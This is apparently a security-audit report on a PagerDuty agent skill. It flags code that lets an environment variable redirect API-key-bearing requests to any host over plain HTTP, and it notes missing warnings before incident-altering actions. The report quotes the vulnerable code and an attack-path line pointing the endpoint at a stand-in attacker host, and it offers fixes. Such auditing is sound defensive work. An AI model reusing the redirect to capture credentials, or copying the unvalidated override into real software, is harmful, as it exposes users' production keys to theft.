Back to skill

Security audit

PagerDuty Agent

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its PagerDuty management purpose, but it can send the PagerDuty API key to an arbitrary or unencrypted endpoint if an undocumented environment variable is set, and it can change live incident and alerting state.

Review this before installing in a production PagerDuty account. Keep PAGERDUTY_BASE_URL unset unless the code is changed to restrict it to HTTPS PagerDuty-controlled hosts, use a least-privilege API key, and require explicit human approval before commands that create, acknowledge, resolve, add notes, or create maintenance windows.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Error
Location
pagerduty.js:13
Finding
Arbitrary API Endpoint Override Can Expose PagerDuty Credentials<![CDATA[ ## Vulnerability Details **File Location**: `pagerduty.js`, lines 13 and 29–45 **Vulnerability Type**: Arbitrary credential destination and plaintext transport **Risk Level**: High ### Vulnerable Code ```js const BASE_URL = process.env.PAGERDUTY_BASE_URL || "https://api.pagerduty.com"; const API_KEY = process.env.PAGERDUTY_API_KEY; const FROM_EMAIL = process.env.PAGERDUTY_FROM_EMAIL; ``` ```js const payload = body ? JSON.stringify(body) : null; const url = new URL(BASE_URL + path); const headers = { "Authorization": `Token token=${API_KEY}`, "Accept": "application/vnd.pagerduty+json;version=2", "Content-Type": "application/json", }; if (FROM_EMAIL) { headers["From"] = FROM_EMAIL; } if (payload) { headers["Content-Length"] = Buffer.byteLength(payload); } const transport = url.protocol === "https:" ? https : http; ``` ### Technical Analysis The undocumented `PAGERDUTY_BASE_URL` environment variable controls the complete origin to which API requests are sent. The code then unconditionally attaches the PagerDuty API key through the `Authorization` header and, when configured, the PagerDuty user email through the `From` header. No validation restricts the destination to PagerDuty-controlled hosts. The implementation also explicitly permits the `http:` protocol, allowing credentials and operational request data to be sent without transport encryption. The Skill's declared functionality requires network access to PagerDuty, but it does not require sending production credentials to arbitrary origins or supporting plaintext HTTP. This behavior therefore exceeds the minimum privileges necessary for the declared functionality. ### Attack Path 1. An attacker gains control over the Skill's launch environment, deployment configuration, wrapper script, or environment-variable injection channel. 2. The attacker sets an environment variable such as: ```bash export PAGERDUTY_BASE_URL="http://attacker.example" ``` 3. The user or agent i ...[truncated 1537 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove the production endpoint override and use a fixed PagerDuty origin: ```js const BASE_URL = "https://api.pagerduty.com"; ``` 2. If an alternate endpoint is genuinely required for testing, enforce all of the following controls: - Require the `https:` protocol. - Use an explicit hostname allowlist. - Reject embedded usernames or passwords. - Reject unexpected ports. - Never attach production PagerDuty credentials to a non-PagerDuty origin. - Gate test endpoints behind an explicit development-only configuration that cannot be enabled in production. 3. Validate the destination immediately before sending each request: ```js const url = new URL(path, "https://api.pagerduty.com"); if ( url.protocol !== "https:" || url.hostname !== "api.pagerduty.com" || url.port !== "" ) { throw new Error("Invalid PagerDuty API destination"); } ``` 4. Avoid selecting the plaintext `http` module for authenticated requests. Reject all non-HTTPS URLs. 5. Use a least-privilege PagerDuty API credential restricted to only the operations required by the deployment. 6. Rotate the PagerDuty API key if the Skill has previously run with an untrusted or incorrectly configured `PAGERDUTY_BASE_URL`. 7. Document all supported network destinations and security-sensitive environment variables so operators can audit deployment configuration. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (6)

Missing User Warnings

High
Confidence
96% confidence
Finding
The maintenance-window command can suppress alerts for one or more services, but the documentation does not clearly warn that misuse can hide active incidents or prevent detection of new outages. In operational contexts, an agent could be instructed to create maintenance windows too broadly or at the wrong time, materially reducing monitoring visibility during real failures.

Missing User Warnings

High
Confidence
95% confidence
Finding
This function creates maintenance windows for services, which can suppress or alter operational alert handling, yet the code provides no visible warning, confirmation, or explanatory comment about the impact. Because this is a potentially disruptive and time-bounded operational change, users should be explicitly informed before it executes.

Lp3

Medium
Category
MCP Least Privilege
Confidence
90% confidence
Finding
The skill requires environment access to a PagerDuty API key and performs networked API operations, but it does not declare an explicit tool scope such as permissions or allowed-tools. That mismatch weakens enforcement and review, making it easier for an agent platform or user to invoke sensitive capabilities without clear least-privilege boundaries.

Missing User Warnings

Medium
Confidence
91% confidence
Finding
The skill prominently advertises state-changing operations like triggering, acknowledging, and resolving incidents without a clear warning that these actions modify live production incident state. In an agent-driven workflow, that can lead to accidental incident creation, premature resolution, or workflow confusion when users assume the commands are informational.

Missing User Warnings

Medium
Confidence
92% confidence
Finding
This code reads the PagerDuty API key from an environment variable and uses it to make outbound API requests, but provides no user-facing notice, confirmation, or explicit warning about transmitting data to PagerDuty. The header comment describes usage but does not disclose that incident details, notes, and service metadata will be sent to an external service using account credentials.

Missing User Warnings

Medium
Confidence
94% confidence
Finding
The skill can trigger, acknowledge, and resolve incidents through POST/PUT requests, which are safety-relevant state changes, but there is no confirmation prompt, user-facing log, or warning comment describing these effects. The current file header only shows invocation format and does not warn that these commands will create or alter live incident state.

Static analysis

No suspicious patterns detected.